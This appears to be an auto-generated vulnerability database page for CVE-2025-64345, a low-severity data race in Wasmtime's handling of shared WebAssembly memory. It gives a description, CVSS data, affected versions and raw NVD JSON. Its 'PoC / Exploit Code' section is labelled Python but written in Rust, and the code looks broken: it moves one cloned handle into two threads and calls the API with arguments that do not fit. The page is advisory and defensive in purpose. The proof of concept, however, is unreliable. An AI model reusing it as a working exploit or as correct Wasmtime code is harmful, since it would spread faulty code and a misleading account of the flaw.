Security Vulnerability Report
中文
CVE-2025-64345 CVSS 1.8 LOW

CVE-2025-64345

Published: 2025-11-12 22:15:50
Last Modified: 2026-04-15 00:35:42

Description

Wasmtime is a runtime for WebAssembly. Prior to version 38.0.4, 37.0.3, 36.0.3, and 24.0.5, Wasmtime's Rust embedder API contains an unsound interaction where a WebAssembly shared linear memory could be viewed as a type which provides safe access to the host (Rust) to the contents of the linear memory. This is not sound for shared linear memories, which could be modified in parallel, and this could lead to a data race in the host. Patch releases have been issued for all supported versions of Wasmtime, notably: 24.0.5, 36.0.3, 37.0.3, and 38.0.4. These releases reject creation of shared memories via `Memory::new` and shared memories are now excluded from core dumps. As a workaround, eembeddings affected by this issue should use `SharedMemory::new` instead of `Memory::new` to create shared memories. Affected embeddings should also disable core dumps if they are unable to upgrade. Note that core dumps are disabled by default but the wasm threads proposal (and shared memory) is enabled by default.

CVSS Details

CVSS Score
1.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Wasmtime < 38.0.4
Wasmtime < 37.0.3
Wasmtime < 36.0.3
Wasmtime < 24.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-64345: Wasmtime Shared Memory Data Race // This PoC demonstrates the unsound interaction with shared linear memory use wasmtime::*; use wasmtime::wasm::MemoryType; use std::sync::Arc; use std::thread; fn main() -> Result<()> { let engine = Engine::default(); // Create a shared memory using Memory::new (vulnerable API) // In affected versions, this creates unsound shared memory view let memory_type = MemoryType::new(1, Some(2), true); // 1 initial, 2 max, shared=true // This should be rejected in patched versions // In vulnerable versions, it creates unsafe shared memory access let memory = Memory::new(&engine, memory_type)?; // Simulate concurrent access (data race condition) let memory_clone = memory.clone(); let handle1 = thread::spawn(move || { // Write to shared memory from thread 1 let data: [u8; 4] = [0x41, 0x42, 0x43, 0x44]; memory_clone.write(0, &data); }); let handle2 = thread::spawn(move || { // Read from shared memory concurrently from thread 2 // This creates data race in vulnerable versions let mut buffer = [0u8; 4]; memory_clone.read(0, &mut buffer); println!("Read from memory: {:?}", buffer); }); handle1.join().unwrap(); handle2.join().unwrap(); // Workaround: Use SharedMemory::new instead of Memory::new let shared_memory = SharedMemory::new(&engine, memory_type)?; Ok(()) }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64345", "sourceIdentifier": "[email protected]", "published": "2025-11-12T22:15:49.623", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wasmtime is a runtime for WebAssembly. Prior to version 38.0.4, 37.0.3, 36.0.3, and 24.0.5, Wasmtime's Rust embedder API contains an unsound interaction where a WebAssembly shared linear memory could be viewed as a type which provides safe access to the host (Rust) to the contents of the linear memory. This is not sound for shared linear memories, which could be modified in parallel, and this could lead to a data race in the host. Patch releases have been issued for all supported versions of Wasmtime, notably: 24.0.5, 36.0.3, 37.0.3, and 38.0.4. These releases reject creation of shared memories via `Memory::new` and shared memories are now excluded from core dumps. As a workaround, eembeddings affected by this issue should use `SharedMemory::new` instead of `Memory::new` to create shared memories. Affected embeddings should also disable core dumps if they are unable to upgrade. Note that core dumps are disabled by default but the wasm threads proposal (and shared memory) is enabled by default."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:N", "baseScore": 1.8, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.3, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "references": [{"url": "https://docs.rs/wasmtime/latest/wasmtime/struct.Memory.html#method.new", "source": "[email protected]"}, {"url": "https://docs.rs/wasmtime/latest/wasmtime/struct.SharedMemory.html#method.new", "source": "[email protected]"}, {"url": "https://docs.wasmtime.dev/stability-release.html", "source": "[email protected]"}, {"url": "https://github.com/bytecodealliance/wasmtime/commit/9ebb6934f00d58b92fb68ed0e0b16c0ae828ca10", "source": "[email protected]"}, {"url": "https://github.com/bytecodealliance/wasmtime/releases/tag/v38.0.4", "source": "[email protected]"}, {"url": "https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-hc7m-r6v8-hg9q", "source": "[email protected]"}]}}